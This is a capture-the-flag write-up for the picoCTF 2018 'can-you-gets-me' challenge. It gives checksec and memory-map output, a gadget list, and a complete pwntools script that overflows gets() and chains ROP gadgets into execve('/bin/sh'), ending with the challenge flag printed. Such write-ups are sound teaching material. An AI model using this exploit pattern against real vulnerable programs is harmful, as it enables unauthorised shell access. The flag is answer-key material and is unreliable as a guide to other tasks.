Rating:

I mainly followed [this write-up](http://barrebas.github.io/blog/2015/06/28/rop-primer-level0/) through my steps.

-----

## Main idea:

```
EverTokki@pico-2018-shell:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ gdb -q gets
Reading symbols from gets...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
```

NX is enabled, meaning you can't use shellcode or put anything on the stack in order to execute it.

If we look at the source code, you can see that we don't have a system call or anything, only gets()

This means that we want to build a ROP chain for execve("/bin/sh").

-----

## How?

**We're going to do this using gadgets.**

Gadgets, in this case, will help you store information in the registers because the system call uses registers to pass on arguments (this may depend on the situation because arguments can be passed on the stack as well.)

You could either refer to the [linux sys call page](http://syscalls.kernelgrok.com/) or check out the man page to execve.

```
int execve(const char *filename (EBX), char *const argv[] (ECX), char *const envp[] (EDX));
```

.

Ultimately you want to set the registers to the following values (through ROP):

```
eax = 0x0b
ebx = address of "/bin/sh"
ecx = 0
edx = 0
```

.

Find read/writeable space (to write the string "/bin/sh") - because remember, you can't do anything on the stack.

```
Breakpoint 1, 0x080488b1 in main ()
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080e9000 r-xp /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets
>> 0x080e9000 0x080eb000 rw-p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets <<
0x080eb000 0x080ec000 rw-p mapped
0x098a7000 0x098c9000 rw-p [heap]
0xf76fc000 0xf76ff000 r--p [vvar]
0xf76ff000 0xf7700000 r-xp [vdso]
0xffd05000 0xffd26000 rw-p [stack]
```

.
Dump your gadgets (I used ROPgadget)

```
< Pop from stack >
0x080b81c6 : pop eax ; ret
0x0806f051 : pop ecx ; pop ebx ; ret
0x0806f02a : pop edx ; ret

< Move eax to *edx >
0x080549db : mov dword ptr [edx], eax ; ret

< Zero-out eax >
0x08049303 : xor eax, eax ; ret

< Zero-out ecx, edx >
0x080d5dc1 : inc ecx ; ret
0x0805d097 : inc edx ; ret

< Increase eax >
0x0808f097 : add eax, 2 ; ret
0x0808f0b0 : add eax, 3 ; ret

< Syscall >
0x0806cc25 : int 0x80
0x080481b2 : ret
```

At first, I calculated the padding wrong - I wrote 20 bytes instead of 28.

I realized this because for some reason my exploit was ignoring the first few instructions.

How I debugged my ROP payload is documented [here.](https://evertokki.tistory.com/256?category=1036285)

I didn't document my process in detail, but that's because the writeup I provided at the beginning walks through the process quite thoroughly.

-----

## The exploit

```
from pwn import *

r = process('/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets')
#r = process('/home/EverTokki/rop/gets')

writeable_memory = 0x080e9040
binsh = 0x80e9040
int80 = 0x0806cc25
ret = 0x080481b2

pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
pop_ecx_ebx = 0x0806f051
mov_eax_to_edx = 0x080549db

set_eax_zero = 0x08049303
add_eax_two = 0x0808f097
add_eax_three = 0x0808f0b0

inc_ecx = 0x080d5dc1
inc_edx = 0x0805d097

payload = ""
payload += "A"*28 # reaching the saved return address

payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space

payload += p32(pop_eax) # pop eax; ret
payload += "/bin" # first part of /bin/sh

payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret

writeable_memory += 4

payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space

payload += p32(pop_eax) # pop eax; ret
payload += "/shX" # null-terminate this string later

payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret

writeable_memory += 3

payload += p32(set_eax_zero) # xor eax, eax; ret - sets eax to 0
payload += p32(pop_edx) # pop edx; ret

payload += p32(writeable_memory) # make the string NULL terminated
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret

payload += p32(pop_ecx_ebx) # pop ecx ; pop ebx ; ret
payload += p32(0xffffffff) # ecx --> will add 1 to zero it out
payload += p32(binsh) # ebx --> /bin/sh

payload += p32(inc_ecx) # inc ecx ; ret

payload += p32(pop_edx) # pop edx ret
payload += p32(0xffffffff) # edx --> will add 1 to zero it out

payload += p32(inc_edx) # inc edx ; ret

payload += p32(set_eax_zero) # xor eax, eax; ret
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_two) # eax = 0x0b

payload += p32(int80)
payload += p32(ret)

#print payload

print r.recvuntil("GIVE ME YOUR NAME!")
r.send(payload)
r.interactive()
```

```
EverTokki@pico-2018-shell:~/rop$ python rop_exp.py
[+] Starting local process '/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets': pid 153530
GIVE ME YOUR NAME!
[*] Switching to interactive mode

$ cd /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/
$ ls
flag.txt gets gets.c
$ cat flag.txt
picoCTF{rOp_yOuR_wAY_tO_AnTHinG_f5072d23}$
```

-----

**Further readings:**

[https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a](https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a)

[https://css.csail.mit.edu/6.858/2014/readings/i386.pdf](https://css.csail.mit.edu/6.858/2014/readings/i386.pdf)

[https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/](https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/)